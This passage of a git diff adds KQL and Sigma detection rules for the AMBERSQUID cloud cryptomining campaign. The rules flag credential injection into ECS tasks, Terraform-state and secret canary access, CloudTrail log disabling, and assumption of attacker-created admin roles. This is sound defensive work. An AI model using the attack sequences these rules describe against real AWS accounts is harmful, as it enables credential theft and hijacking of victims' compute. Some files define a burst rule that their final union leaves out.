RecipientAccountId +| extend Severity = "HIGH" +| extend AlertReason = "Auto Scaling Group created with AMBERSQUID IOC name ('task' or 'task1')"; + +// Rule 2: ImageBuilder pipeline creation or execution from AssumedRole +let ImageBuilderAbuse = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "imagebuilder.amazonaws.com" +| where EventName in ("CreateImagePipeline", "StartImagePipelineExecution", "CreateImageRecipe") +| where UserIdentityType == "AssumedRole" +| where UserAgent !contains "console.aws.amazon.com" +| where UserIdentityArn !contains "AWSServiceRoleForImageBuilder" +| extend PipelineName = tostring(parse_json(RequestParameters).name) +| project TimeGenerated, EventName, PipelineName, + UserIdentityArn, UserIdentityType, SourceIpAddress, UserAgent, AWSRegion, RecipientAccountId +| extend Severity = "MEDIUM" +| extend AlertReason = "EC2 ImageBuilder pipeline created or executed from non-standard AssumedRole"; + +// Rule 3: CloudFormation CreateStack containing ImageBuilder resources +let CFNImageBuilder = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "cloudformation.amazonaws.com" +| where EventName == "CreateStack" +| where RequestParameters has "ImageBuilder" +| where UserAgent !contains "console.aws.amazon.com" +| extend StackName = tostring(parse_json(RequestParameters).stackName) +| project TimeGenerated, EventName, StackName, + UserIdentityArn, UserIdentityType, SourceIpAddress, UserAgent, AWSRegion, RecipientAccountId +| extend Severity = "MEDIUM" +| extend AlertReason = "CloudFormation stack created containing ImageBuilder resources from non-console session"; + +// Rule 4: Multi-region compute creation burst (AMBERSQUID targets 4-16 regions) +let MultiRegionComputeBurst = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventName in ("RunInstances", "CreateAutoScalingGroup", "CreateNotebookInstance", "CreateCluster") +| where EventSource in ("ec2.amazonaws.com", "autoscaling.amazonaws.com", + "sagemaker.amazonaws.com", "ecs.amazonaws.com") +| where UserIdentityType in ("IAMUser", "AssumedRole") +| where UserAgent !contains "console.aws.amazon.com" +| summarize + RegionCount = dcount(AWSRegion), + Regions = make_set(AWSRegion), + EventCount = count(), + Services = make_set(EventSource), + FirstSeen = min(TimeGenerated), + LastSeen = max(TimeGenerated) + by UserIdentityArn, SourceIpAddress, bin(TimeGenerated, 15m), RecipientAccountId +| where RegionCount >= 3 +| extend Severity = case( + RegionCount >= 8, "CRITICAL", + RegionCount >= 4, "HIGH", + "MEDIUM" + ) +| extend AlertReason = strcat("Compute provisioning across ", tostring(RegionCount), " regions in 15 minutes (AMBERSQUID multi-region pattern)") +| project FirstSeen, LastSeen, Severity, AlertReason, RegionCount, Regions, + EventCount, Services, UserIdentityArn, SourceIpAddress, RecipientAccountId; + +union IOCASGNames, ImageBuilderAbuse, CFNImageBuilder, MultiRegionComputeBurst +| sort by TimeGenerated desc diff --git a/emulations/ambersquid/detections/kql_t1580.kql b/emulations/ambersquid/detections/kql_t1580.kql new file mode 100644 index 0000000..bbd59f2 --- /dev/null +++ b/emulations/ambersquid/detections/kql_t1580.kql @@ -0,0 +1,79 @@ +// FILE: kql_t1580.kql +// T1580 Cloud Infrastructure Discovery - AMBERSQUID Infrastructure Enumeration and Canary Access +// Four correlated detection patterns: mass IAM enumeration, Terraform state theft (canary), +// SecretsManager canary access, and combined cross-service discovery burst. + +// Rule 1: Terraform state file access immediately preceded by ListBuckets (canary trigger) +let ListBuckets = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "s3.amazonaws.com" +| where EventName == "ListBuckets" +| where UserAgent !contains "console.aws.amazon.com" +| project ListBucketsTime = TimeGenerated, UserIdentityArn, SourceIpAddress, RecipientAccountId; + +let TfstateAccess = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "s3.amazonaws.com" +| where EventName == "GetObject" +| where RequestParameters contains "tfstate" +| extend BucketName = tostring(parse_json(RequestParameters).bucketName) +| extend ObjectKey = tostring(parse_json(RequestParameters).key) +| project TfstateTime = TimeGenerated, UserIdentityArn, SourceIpAddress, RecipientAccountId, + BucketName, ObjectKey, UserAgent, AWSRegion; + +TfstateAccess +| join kind=inner (ListBuckets) on UserIdentityArn, SourceIpAddress, RecipientAccountId +| where TfstateTime > ListBucketsTime +| where datetime_diff('minute', TfstateTime, ListBucketsTime) <= 5 +| project + TfstateTime, + AlertReason = "ListBuckets -> GetObject on tfstate within 5 minutes (canary: terraform state theft)", + Severity = "CRITICAL", + BucketName, + ObjectKey, + UserIdentityArn, + SourceIpAddress, + UserAgent, + AWSRegion, + RecipientAccountId +| union ( + // Rule 2: SecretsManager GetSecretValue on canary/prod database secrets + AWSCloudTrail + | where TimeGenerated > ago(24h) + | where EventSource == "secretsmanager.amazonaws.com" + | where EventName == "GetSecretValue" + | where RequestParameters has_any ("prod/database", "master_credentials", "rds/admin", "prod/rds") + | where UserAgent !contains "console.aws.amazon.com" + | where UserIdentityArn !contains ":assumed-role/AWSServiceRoleForRDS" + | extend SecretId = tostring(parse_json(RequestParameters).secretId) + | project TimeGenerated, EventName, SecretId, + UserIdentityArn, UserIdentityType, SourceIpAddress, UserAgent, AWSRegion, RecipientAccountId + | extend Severity = "CRITICAL" + | extend AlertReason = "GetSecretValue on canary database credential secret from non-application session" + | project TfstateTime = TimeGenerated, AlertReason, Severity, SecretId, + UserIdentityArn, SourceIpAddress, UserAgent, AWSRegion, RecipientAccountId + ) +| union ( + // Rule 3: Mass IAM enumeration burst from IAMUser (3+ events within 3 minutes) + AWSCloudTrail + | where TimeGenerated > ago(24h) + | where EventSource in ("iam.amazonaws.com", "ec2.amazonaws.com", "sts.amazonaws.com") + | where EventName in ("GetAccountSummary", "ListRoles", "ListUsers", "ListBuckets", + "DescribeRegions", "GetCallerIdentity", "ListSecrets") + | where UserIdentityType == "IAMUser" + | where UserAgent !contains "console.aws.amazon.com" + | summarize + EventCount = count(), + DistinctEvents = dcount(EventName), + EventNames = make_set(EventName), + Sources = make_set(EventSource), + FirstSeen = min(TimeGenerated), + LastSeen = max(TimeGenerated) + by UserIdentityArn, SourceIpAddress, bin(TimeGenerated, 3m), RecipientAccountId + | where DistinctEvents >= 4 + | extend Severity = iff(DistinctEvents >= 6, "HIGH", "MEDIUM") + | extend AlertReason = strcat("Mass IAM/cloud enumeration: ", tostring(DistinctEvents), " distinct discovery calls in 3 min") + | project TfstateTime = FirstSeen, AlertReason, Severity, DistinctEvents, EventNames, + UserIdentityArn, SourceIpAddress, RecipientAccountId + ) +| sort by TfstateTime desc diff --git a/emulations/ambersquid/detections/kql_t1583.001.kql b/emulations/ambersquid/detections/kql_t1583.001.kql new file mode 100644 index 0000000..6c87dab --- /dev/null +++ b/emulations/ambersquid/detections/kql_t1583.001.kql @@ -0,0 +1,74 @@ +// FILE: kql_t1583.001.kql +// T1583.001 Acquire Infrastructure: Domains - AMBERSQUID Amplify Subdomain Acquisition +// T1583.001 generates NO CloudTrail events for the domain registration itself. +// AMBERSQUID automatically acquires amplifyapp.com subdomains as a side-effect of +// CreateApp calls made in victim accounts. These rules detect the observable proxy: +// Amplify app creation from non-console sessions producing new amplifyapp.com subdomains. +// Cross-reference the defaultDomain in responseElements against threat intel IOC feeds. + +// Rule 1: Amplify CreateApp from non-console session (proxy for subdomain acquisition) +let AmplifyAppCreation = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "amplify.amazonaws.com" +| where EventName == "CreateApp" +| where UserAgent !contains "console.aws.amazon.com" +| where UserAgent !contains "Amplify Console" +| extend AppName = tostring(parse_json(RequestParameters).name) +| extend Repository = tostring(parse_json(RequestParameters).repository) +| extend IAMServiceRoleArn = tostring(parse_json(RequestParameters).iamServiceRoleArn) +// defaultDomain in responseElements contains the assigned amplifyapp.com subdomain +| extend AssignedDomain = tostring(parse_json(ResponseElements).app.defaultDomain) +| project TimeGenerated, EventName, AppName, Repository, IAMServiceRoleArn, AssignedDomain, + UserIdentityArn, UserIdentityType, SourceIpAddress, UserAgent, AWSRegion, RecipientAccountId +| extend Severity = "LOW" +| extend AlertReason = "Amplify app created from non-console session - amplifyapp.com subdomain assigned"; + +// Rule 2: Amplify CreateApp with CodeCommit source using attacker IOC role +let AmplifyWithCodeCommitRole = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "amplify.amazonaws.com" +| where EventName == "CreateApp" +| where RequestParameters has "git-codecommit" +| where RequestParameters has_any ("AWSCodeCommit-Role", "sugo-role") +| extend AppName = tostring(parse_json(RequestParameters).name) +| extend Repository = tostring(parse_json(RequestParameters).repository) +| extend AssignedDomain = tostring(parse_json(ResponseElements).app.defaultDomain) +| project TimeGenerated, EventName, AppName, Repository, AssignedDomain, + UserIdentityArn, UserIdentityType, SourceIpAddress, UserAgent, AWSRegion, RecipientAccountId +| extend Severity = "HIGH" +| extend AlertReason = "Amplify app created with CodeCommit source using AMBERSQUID IOC role (AWSCodeCommit-Role)"; + +// Rule 3: Known AMBERSQUID IOC domain correlation +// Cross-reference AssignedDomain against known AMBERSQUID domains via threat intel lookup +// IOC: master.d19tgz4vpyd5.amplifyapp.com +let KnownIOCDomain = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "amplify.amazonaws.com" +| where EventName == "CreateApp" +| extend AssignedDomain = tostring(parse_json(ResponseElements).app.defaultDomain) +| where AssignedDomain contains "d19tgz4vpyd5" // AMBERSQUID IOC subdomain fragment +| project TimeGenerated, EventName, AssignedDomain, + UserIdentityArn, UserIdentityType, SourceIpAddress, UserAgent, AWSRegion, RecipientAccountId +| extend Severity = "CRITICAL" +| extend AlertReason = "Amplify app domain matches AMBERSQUID IOC: master.d19tgz4vpyd5.amplifyapp.com"; + +// Rule 4: Amplify CreateApp burst - multiple apps within 10 minutes (AMBERSQUID: 5 per region) +let AmplifyBurst = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "amplify.amazonaws.com" +| where EventName == "CreateApp" +| where UserAgent !contains "console.aws.amazon.com" +| summarize + AppCount = count(), + AppNames = make_set(tostring(parse_json(RequestParameters).name)), + FirstSeen = min(TimeGenerated), + LastSeen = max(TimeGenerated) + by UserIdentityArn, SourceIpAddress, bin(TimeGenerated, 10m), RecipientAccountId, AWSRegion +| where AppCount >= 3 +| extend Severity = case(AppCount >= 5, "HIGH", "MEDIUM") +| extend AlertReason = strcat("Amplify CreateApp burst: ", tostring(AppCount), " apps in 10 minutes (AMBERSQUID creates 5 per region)") +| project FirstSeen, LastSeen, Severity, AlertReason, AppCount, AppNames, + UserIdentityArn, SourceIpAddress, AWSRegion, RecipientAccountId; + +union AmplifyAppCreation, AmplifyWithCodeCommitRole, KnownIOCDomain +| sort by TimeGenerated desc diff --git a/emulations/ambersquid/detections/kql_t1608.001.kql b/emulations/ambersquid/detections/kql_t1608.001.kql new file mode 100644 index 0000000..5cfa131 --- /dev/null +++ b/emulations/ambersquid/detections/kql_t1608.001.kql @@ -0,0 +1,72 @@ +// FILE: kql_t1608.001.kql +// T1608.001 Stage Capabilities: Upload Malware - AMBERSQUID Malicious Container Image +// T1608.001 generates NO CloudTrail events. AMBERSQUID stages a Docker image containing +// SRBMiner-MULTI (UPX-packed) on an external registry before targeting victim accounts. +// These rules detect the downstream observable: ECS task definitions referencing public +// registry images (not corporate ECR), especially when combined with mining indicators +// (POOL/WALLET/ALGO env vars) or credential injection (AWS_ACCESS_KEY_ID in env vars). + +// Rule 1: ECS RegisterTaskDefinition with public registry image (ubuntu, docker.io) +// from non-console session - proxy for staged malicious image use +let PublicImageTaskDef = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "ecs.amazonaws.com" +| where EventName == "RegisterTaskDefinition" +| where RequestParameters has_any ("\"image\":\"ubuntu", "\"image\":\"docker.io", + "\"image\":\"public.ecr.aws", "\"image\":\"ghcr.io") +| where UserAgent !contains "console.aws.amazon.com" +| extend TaskFamily = tostring(parse_json(RequestParameters).family) +| extend ExecutionRoleArn = tostring(parse_json(RequestParameters).executionRoleArn) +| project TimeGenerated, EventName, TaskFamily, ExecutionRoleArn, + UserIdentityArn, UserIdentityType, SourceIpAddress, UserAgent, AWSRegion, RecipientAccountId +| extend Severity = "LOW" +| extend AlertReason = "ECS task definition references public registry image from non-console session"; + +// Rule 2: ECS task definition with AWS credential injection as plaintext env vars +// AMBERSQUID IOC: AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY as container environment variables +let CredentialInjection = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "ecs.amazonaws.com" +| where EventName == "RegisterTaskDefinition" +| where RequestParameters has_any ("AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY") +| extend TaskFamily = tostring(parse_json(RequestParameters).family) +| extend ExecutionRoleArn = tostring(parse_json(RequestParameters).executionRoleArn) +| project TimeGenerated, EventName, TaskFamily, ExecutionRoleArn, + UserIdentityArn, UserIdentityType, SourceIpAddress, UserAgent, AWSRegion, RecipientAccountId +| extend Severity = "CRITICAL" +| extend AlertReason = "ECS task definition injects AWS credentials as plaintext container env vars (AMBERSQUID credential harvest vector)"; + +// Rule 3: ECS task definition with combined public image + mining env vars +// Highest-confidence AMBERSQUID proxy: ubuntu image + POOL/WALLET/ALGO env vars +let MinerImageAndEnvVars = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "ecs.amazonaws.com" +| where EventName == "RegisterTaskDefinition" +| where RequestParameters has_any ("\"image\":\"ubuntu", "\"image\":\"docker.io") +| where RequestParameters has_any ("POOL", "WALLET", "ALGO", "WORKER", "MINER") +| extend TaskFamily = tostring(parse_json(RequestParameters).family) +| extend ExecutionRoleArn = tostring(parse_json(RequestParameters).executionRoleArn) +| project TimeGenerated, EventName, TaskFamily, ExecutionRoleArn, + UserIdentityArn, UserIdentityType, SourceIpAddress, UserAgent, AWSRegion, RecipientAccountId +| extend Severity = "CRITICAL" +| extend AlertReason = "ECS task definition: public base image + mining pool env vars (AMBERSQUID staged miner execution)"; + +// Rule 4: ECR image push that triggers Inspector finding (downstream detection) +// If the staged image is ever pulled into ECR for re-use, Inspector scanning fires +// This detects the ECR push event — Inspector findings appear as GuardDuty/Security Hub events +let ECRImagePush = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "ecr.amazonaws.com" +| where EventName == "PutImage" +| where UserIdentityType == "AssumedRole" +| where UserAgent !contains "console.aws.amazon.com" +| extend RepositoryName = tostring(parse_json(RequestParameters).repositoryName) +| extend ImageTag = tostring(parse_json(RequestParameters).imageTag) +| extend ImageDigest = tostring(parse_json(RequestParameters).imageDigest) +| project TimeGenerated, EventName, RepositoryName, ImageTag, ImageDigest, + UserIdentityArn, UserIdentityType, SourceIpAddress, UserAgent, AWSRegion, RecipientAccountId +| extend Severity = "MEDIUM" +| extend AlertReason = "ECR image pushed from AssumedRole session - trigger Inspector scan for UPX-packed ELFs"; + +union PublicImageTaskDef, CredentialInjection, MinerImageAndEnvVars, ECRImagePush +| sort by TimeGenerated desc diff --git a/emulations/ambersquid/detections/kql_t1610.kql b/emulations/ambersquid/detections/kql_t1610.kql new file mode 100644 index 0000000..ff83735 --- /dev/null +++ b/emulations/ambersquid/detections/kql_t1610.kql @@ -0,0 +1,73 @@ +// FILE: kql_t1610.kql +// T1610 Deploy Container - AMBERSQUID Malicious ECS Task Definition Registration +// Detects ECS task definitions with overly permissive execution roles, miner IOC names, +// and mining pool environment variable patterns in task container definitions. + +// Rule 1: RegisterTaskDefinition where environment vars contain mining indicators +let MinerEnvVars = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "ecs.amazonaws.com" +| where EventName == "RegisterTaskDefinition" +| where RequestParameters has_any ("POOL", "WALLET", "ALGO", "WORKER", "MINER") +| extend TaskFamily = tostring(parse_json(RequestParameters).family) +| extend ExecutionRoleArn = tostring(parse_json(RequestParameters).executionRoleArn) +| extend CPU = tostring(parse_json(RequestParameters).cpu) +| extend Memory = tostring(parse_json(RequestParameters).memory) +| project TimeGenerated, EventName, TaskFamily, ExecutionRoleArn, CPU, Memory, + UserIdentityArn, UserIdentityType, SourceIpAddress, UserAgent, AWSRegion, RecipientAccountId +| extend Severity = "CRITICAL" +| extend AlertReason = "ECS task definition contains mining pool environment variable names (POOL/WALLET/ALGO)"; + +// Rule 2: RegisterTaskDefinition with known AMBERSQUID IOC task family or container names +let IOCTaskNames = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "ecs.amazonaws.com" +| where EventName == "RegisterTaskDefinition" +| where RequestParameters has_any ("miner-fargate-task", "miner-task", "srbminer", "miner-cluster") +| extend TaskFamily = tostring(parse_json(RequestParameters).family) +| extend ExecutionRoleArn = tostring(parse_json(RequestParameters).executionRoleArn) +| project TimeGenerated, EventName, TaskFamily, ExecutionRoleArn, + UserIdentityArn, UserIdentityType, SourceIpAddress, UserAgent, AWSRegion, RecipientAccountId +| extend Severity = "HIGH" +| extend AlertReason = "ECS task definition with AMBERSQUID IOC family or container name matched"; + +// Rule 3: RegisterTaskDefinition where executionRoleArn is attacker-named ecsTaskExecutionRole +// and caller is an AssumedRole (not AWS service or console) +let AdminExecRole = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "ecs.amazonaws.com" +| where EventName == "RegisterTaskDefinition" +| where RequestParameters contains "ecsTaskExecutionRole" +| where UserIdentityType == "AssumedRole" +| where UserAgent !contains "console.aws.amazon.com" +| where UserIdentityArn !contains ":assumed-role/AWSServiceRole" +| where UserIdentityArn !contains "cloudformation" +| extend TaskFamily = tostring(parse_json(RequestParameters).family) +| extend ExecutionRoleArn = tostring(parse_json(RequestParameters).executionRoleArn) +| project TimeGenerated, EventName, TaskFamily, ExecutionRoleArn, + UserIdentityArn, UserIdentityType, SourceIpAddress, UserAgent, AWSRegion, RecipientAccountId +| extend Severity = "HIGH" +| extend AlertReason = "ECS RegisterTaskDefinition with ecsTaskExecutionRole from AssumedRole session"; + +// Rule 4: Fargate CreateService burst - multiple services created in short window +let FargateBurst = AWSCloudTrail +| where TimeGenerated > ago(24h) +| where EventSource == "ecs.amazonaws.com" +| where EventName == "CreateService" +| where RequestParameters contains "FARGATE" +| where UserIdentityType == "AssumedRole" +| where UserAgent !contains "console.aws.amazon.com" +| summarize + ServiceCount = count(), + Clusters = make_set(tostring(parse_json(RequestParameters).cluster)), + FirstSeen = min(TimeGenerated), + LastSeen = max(TimeGenerated) + by UserIdentityArn, SourceIpAddress, bin(TimeGenerated, 5m), RecipientAccountId +| where ServiceCount >= 2 +| extend Severity = iff(ServiceCount >= 10, "CRITICAL", "HIGH") +| extend AlertReason = strcat("Fargate CreateService burst: ", tostring(ServiceCount), " services within 5 minutes") +| project FirstSeen, LastSeen, Severity, AlertReason, ServiceCount, Clusters, + UserIdentityArn, SourceIpAddress, RecipientAccountId; + +union MinerEnvVars, IOCTaskNames, AdminExecRole +| sort by TimeGenerated desc diff --git a/emulations/ambersquid/detections/sigma_t1059.009.yml b/emulations/ambersquid/detections/sigma_t1059.009.yml new file mode 100644 index 0000000..f1b341f --- /dev/null +++ b/emulations/ambersquid/detections/sigma_t1059.009.yml @@ -0,0 +1,65 @@ +# FILE: sigma_t1059.009.yml +title: AMBERSQUID - Multi-Service AWS API Burst for Miner Infrastructure Provisioning +id: c2f8e4b3-7a1d-9c5f-b8e2-4d7a3c9f1e6b +status: experimental +description: > + Detects AMBERSQUID's execution phase: using attacker-assumed role sessions to + burst-provision miner infrastructure across Amplify, CodeCommit, CodeBuild, ECS, + and SageMaker within minutes. Each individual service call is low-signal; the + burst across multiple services from assumed role sessions created moments prior + is the definitive indicator. Individual high-fidelity signals include SageMaker + notebook creation from non-console sessions and Amplify app creation with a + CodeCommit source URL. + AMBERSQUID scale: 5 Amplify apps per region x 8 regions, 3 CodeBuild projects + per region, 8 SageMaker ml.t3.2xlarge notebooks x 4 regions, 30 Fargate tasks + x 16 regions. +references: + - https://attack.mitre.org/techniques/T1059/009/ + - https://unit42.paloaltonetworks.com/ambersquid/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.execution + - attack.t1059.009 +logsource: + product: aws + service: cloudtrail +detection: + selection_sagemaker: + eventSource: sagemaker.amazonaws.com + eventName: CreateNotebookInstance + userIdentity.type: AssumedRole + selection_amplify_codecommit: + eventSource: amplify.amazonaws.com + eventName: CreateApp + requestParameters.repository|contains: 'git-codecommit' + selection_codebuild_codecommit: + eventSource: codebuild.amazonaws.com + eventName: CreateProject + requestParameters|contains: + - '"type":"CODECOMMIT"' + - 'git-codecommit' + selection_ecs_cluster: + eventSource: ecs.amazonaws.com + eventName: CreateCluster + userIdentity.type: AssumedRole + filter_console: + userAgent|contains: + - 'console.aws.amazon.com' + - 'AWSConsole' + filter_sagemaker_service: + userIdentity.invokedBy: sagemaker.amazonaws.com + condition: > + (selection_sagemaker or selection_amplify_codecommit or + selection_codebuild_codecommit or selection_ecs_cluster) + and not filter_console and not filter_sagemaker_service +falsepositives: + - Data science teams creating SageMaker notebooks via CLI or SDK automation + - CI/CD pipelines linking Amplify with CodeCommit for legitimate web app deployments + - ECS cluster creation in IaC automation (CDK, Terraform) runs +level: medium +# Highest fidelity single-event: CreateNotebookInstance (AssumedRole, non-console) +# immediately after AssumeRole to sugo-role — near-unique to AMBERSQUID pattern. +# Time-windowed correlation (5+ services within 10 minutes) escalates to CRITICAL. +# AMBERSQUID IOC: miner-app (Amplify), miner-build-small (CodeBuild), miner-cluster (ECS), +# miner-notebook (SageMaker), miner-task (ECS task definition family name). diff --git a/emulations/ambersquid/detections/sigma_t1070.yml b/emulations/ambersquid/detections/sigma_t1070.yml new file mode 100644 index 0000000..7f9ecb9 --- /dev/null +++ b/emulations/ambersquid/detections/sigma_t1070.yml @@ -0,0 +1,81 @@ +# FILE: sigma_t1070.yml +title: AMBERSQUID - CloudTrail Logging Disabled and Evidence Cleanup +id: b8e1c4f9-7a3d-2b6e-c8f1-4a9e7b3c6d2f +status: experimental +description: > + Detects AMBERSQUID's indicator removal phase: disabling CloudTrail logging + (StopLogging), deleting recent log files from the CloudTrail S3 bucket (DeleteObject), + and CodeCommit repository deletion as evidence cleanup. StopLogging is the + highest-fidelity detection opportunity in the entire AMBERSQUID kill chain: + the event fires BEFORE logging is actually disabled, meaning this event will + always be visible to defenders even if the attacker succeeds. A CloudWatch alarm + on StopLogging fires within seconds, before any subsequent evidence removal. + AMBERSQUID also deletes all attacker-created resources (miner-app, miner-notebook, + miner-cluster, attacker IAM roles) using CodeCommit-Role and victim_creds sessions. +references: + - https://attack.mitre.org/techniques/T1070/ + - https://unit42.paloaltonetworks.com/ambersquid/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.defense_evasion + - attack.t1070 +logsource: + product: aws + service: cloudtrail +detection: + selection_stop_logging: + eventSource: cloudtrail.amazonaws.com + eventName: StopLogging + selection_delete_trail: + eventSource: cloudtrail.amazonaws.com + eventName: DeleteTrail + selection_update_trail_disable: + eventSource: cloudtrail.amazonaws.com + eventName: UpdateTrail + requestParameters.isLogging: 'false' + selection_delete_log_objects: + eventSource: s3.amazonaws.com + eventName: DeleteObject + requestParameters.bucketName|contains: + - 'cloudtrail' + - 'trail-logs' + - 'audit-logs' + selection_resource_cleanup: + eventSource: + - amplify.amazonaws.com + - codecommit.amazonaws.com + - ecs.amazonaws.com + - sagemaker.amazonaws.com + - codebuild.amazonaws.com + eventName: + - DeleteApp + - DeleteRepository + - DeleteCluster + - DeleteNotebookInstance + - DeleteProject + userIdentity.type: AssumedRole + filter_console: + userAgent|contains: + - 'console.aws.amazon.com' + eventName: StopLogging + filter_legitimate_trail_mgmt: + userIdentity.arn|contains: + - ':assumed-role/AWSServiceRoleForConfig' + eventName: UpdateTrail + condition: > + (selection_stop_logging or selection_delete_trail or + selection_update_trail_disable or selection_delete_log_objects or + selection_resource_cleanup) + and not filter_console and not filter_legitimate_trail_mgmt +falsepositives: + - Authorized security team disabling a CloudTrail during cost optimization testing + - Infrastructure decommissioning workflows deleting S3 log objects before bucket deletion + - Authorized resource cleanup scripts after test environment teardown +level: critical +# StopLogging fires BEFORE logging stops — this event always captures itself. +# CloudWatch alarm pre-configured on StopLogging provides < 60 second detection time. +# DeleteObject on CloudTrail log bucket prefix within 5 minutes of StopLogging +# is a compound indicator: log deletion follows disable to prevent forensic recovery. +# AMBERSQUID sequence: StopLogging -> DeleteObject(log files) -> DeleteApp -> +# DeleteCluster -> DetachRolePolicy -> DeleteRole -> DeleteRepository diff --git a/emulations/ambersquid/detections/sigma_t1078.004.yml b/emulations/ambersquid/detections/sigma_t1078.004.yml new file mode 100644 index 0000000..7328e73 --- /dev/null +++ b/emulations/ambersquid/detections/sigma_t1078.004.yml @@ -0,0 +1,57 @@ +# FILE: sigma_t1078.004.yml +title: AMBERSQUID - Stolen Cloud Credential Validation via Rapid IAM Enumeration +id: f4a2b8c1-3d7e-4f9a-b2c5-8e1d6f3a7b4c +status: experimental +description: > + Detects AMBERSQUID's credential validation pattern: rapid IAM enumeration + (GetUser, ListAttachedUserPolicies) executed immediately after credential harvest + from an ECS container. The pattern is distinguishable by a non-console userAgent + (boto3/Python), IAMUser identity type (not AssumedRole or service), and sub-second + sequencing across GetCallerIdentity -> GetUser -> ListAttachedUserPolicies. + This is the first CloudTrail-visible event in the AMBERSQUID kill chain after + T1204.003 container execution and credential injection. +references: + - https://attack.mitre.org/techniques/T1078/004/ + - https://unit42.paloaltonetworks.com/ambersquid/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.defense_evasion + - attack.t1078.004 +logsource: + product: aws + service: cloudtrail +detection: + selection_iam_recon: + eventSource: iam.amazonaws.com + eventName: + - GetUser + - ListAttachedUserPolicies + - GetAccountSummary + userIdentity.type: IAMUser + filter_console: + userAgent|contains: + - 'console.aws.amazon.com' + - 'signin.aws.amazon.com' + - 'AWSConsole' + filter_sso: + userAgent|contains: + - 'aws-internal' + - 'AWS Internal' + filter_automation_agents: + userAgent|startswith: + - 'aws-sdk-java' + - 'aws-sdk-go' + userIdentity.arn|contains: + - 'ci-' + - 'deploy-' + - 'automation-' + condition: selection_iam_recon and not filter_console and not filter_sso and not filter_automation_agents +falsepositives: + - IAM users running automation scripts for legitimate account auditing + - Security tooling performing routine permission checks (AWS Access Analyzer, ScoutSuite) + - Developers using AWS CLI to inspect their own permissions +level: low +# Correlate with T1136.003 CreateRole within 60 seconds from the same sourceIPAddress +# to elevate severity to HIGH — the combined pattern is near-unique to AMBERSQUID. +# Key field: userIdentity.type = IAMUser (not AssumedRole) is the primary discriminator. diff --git a/emulations/ambersquid/detections/sigma_t1098.001.yml b/emulations/ambersquid/detections/sigma_t1098.001.yml new file mode 100644 index 0000000..4f196c4 --- /dev/null +++ b/emulations/ambersquid/detections/sigma_t1098.001.yml @@ -0,0 +1,52 @@ +# FILE: sigma_t1098.001.yml +title: AMBERSQUID - Multi-Role AssumeRole Burst for Parallel Session Establishment +id: b5d7f3a2-9c4e-1b7d-a5f8-3c6e9b2d4f7a +status: experimental +description: > + Detects AMBERSQUID's credential multiplication phase: a single IAM user assuming + three distinct attacker-created roles (AWSCodeCommit-Role, sugo-role, ecsTaskExecutionRole) + within seconds to establish parallel STS sessions with different AWS service scopes. + This pattern — multiple AssumeRole calls to roles created in the same session by + the same IAMUser, especially including a role with AdministratorAccess — is + near-unique to attacker credential chain establishment. STS sessions persist even + after the original IAM key is rotated or revoked (3600 second expiry). +references: + - https://attack.mitre.org/techniques/T1098/001/ + - https://unit42.paloaltonetworks.com/ambersquid/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.persistence + - attack.t1098.001 +logsource: + product: aws + service: cloudtrail +detection: + selection_assume_role: + eventSource: sts.amazonaws.com + eventName: AssumeRole + requestParameters|contains: + - 'AWSCodeCommit-Role' + - 'sugo-role' + - 'ecsTaskExecutionRole' + selection_assume_admin: + eventSource: sts.amazonaws.com + eventName: AssumeRole + userIdentity.type: IAMUser + requestParameters.roleArn|contains: 'ecsTaskExecutionRole' + filter_aws_services: + userIdentity.invokedBy|contains: + - '.amazonaws.com' + filter_console: + userAgent|contains: + - 'console.aws.amazon.com' + condition: (selection_assume_role or selection_assume_admin) and not filter_aws_services and not filter_console +falsepositives: + - ECS task execution assuming the legitimate AWS-managed ecsTaskExecutionRole + - Cross-account workflows using an ecsTaskExecutionRole variant for container access + - Organizations naming internal roles with "ecsTaskExecutionRole" prefix +level: high +# Temporal correlation: 3 AssumeRole events to these three role names from the same +# IAMUser principal within 30 seconds is a definitive AMBERSQUID indicator. +# Note: ecsTaskExecutionRole assumed by an IAMUser (not ecs-tasks.amazonaws.com) +# is always suspicious — ECS service assumes this role, not humans or scripts. diff --git a/emulations/ambersquid/detections/sigma_t1136.003.yml b/emulations/ambersquid/detections/sigma_t1136.003.yml new file mode 100644 index 0000000..a1beecb --- /dev/null +++ b/emulations/ambersquid/detections/sigma_t1136.003.yml @@ -0,0 +1,55 @@ +# FILE: sigma_t1136.003.yml +title: AMBERSQUID - IAM Role Creation with AdministratorAccess from Non-Console Session +id: a7e3c9d2-5f1b-4a8e-c3d6-9f2e7c4a1b8d +status: experimental +description: > + Detects AMBERSQUID's persistence mechanism: creation of IAM roles with highly + permissive policies (AdministratorAccess, SageMakerFullAccess) using a stolen IAM + user key from a non-console session. AMBERSQUID creates three roles with known names: + AWSCodeCommit-Role (Amplify+CodeCommit+CloudWatch), sugo-role (SageMaker), + and ecsTaskExecutionRole (AdministratorAccess+ECS). The attachment of + AdministratorAccess to an attacker-created role is the highest-fidelity single + event in this technique. +references: + - https://attack.mitre.org/techniques/T1136/003/ + - https://unit42.paloaltonetworks.com/ambersquid/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.persistence + - attack.t1136.003 +logsource: + product: aws + service: cloudtrail +detection: + selection_admin_attach: + eventSource: iam.amazonaws.com + eventName: AttachRolePolicy + requestParameters|contains: 